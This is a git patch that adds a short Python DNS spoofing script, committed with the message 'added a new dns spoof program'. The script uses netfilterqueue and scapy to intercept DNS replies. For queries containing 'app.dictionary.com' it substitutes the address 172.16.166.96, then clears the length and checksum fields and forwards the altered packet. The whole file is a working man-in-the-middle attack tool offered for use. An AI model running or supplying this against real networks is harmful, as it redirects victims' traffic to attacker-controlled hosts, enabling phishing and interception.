From 27d7fde4c8caee47713af031279428213792acb3 Mon Sep 17 00:00:00 2001 From: darksider Date: Mon, 28 Oct 2019 15:02:22 +0530 Subject: [PATCH] added a new dns spoof program --- dns_spoof_kirru08.py | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) create mode 100644 dns_spoof_kirru08.py diff --git a/dns_spoof_kirru08.py b/dns_spoof_kirru08.py new file mode 100644 index 0000000..7d64d46 --- /dev/null +++ b/dns_spoof_kirru08.py @@ -0,0 +1,29 @@ +##!/usr/bin/env python + +import netfilterqueue +import scapy.all as scapy + +def process_packet(packet): + scapy_packet=scapy.IP(packet.get_payload()) + if scapy_packet.haslayer(scapy.DNSRR): + qname=scapy_packet[scapy.DNSQR].qname + if "app.dictionary.com" in qname: + print("[+] Spoofing target") + answer=scapy.DNSRR(rrname=qname, rdata="172.16.166.96") + scapy_packet[scapy.DNS].an=answer + scapy_packet[scapy.DNS].ancount=1 + + del scapy_packet[scapy.IP].len + del scapy_packet[scapy.IP].chksum + del scapy_packet[scapy.UDP].chksum + del scapy_packet[scapy.UDP].len + + packet.set_payload(str(scapy_packet)) + + + packet.accept() + + +queue = netfilterqueue.NetfilterQueue() +queue.bind(0, process_packet) +queue.run() \ No newline at end of file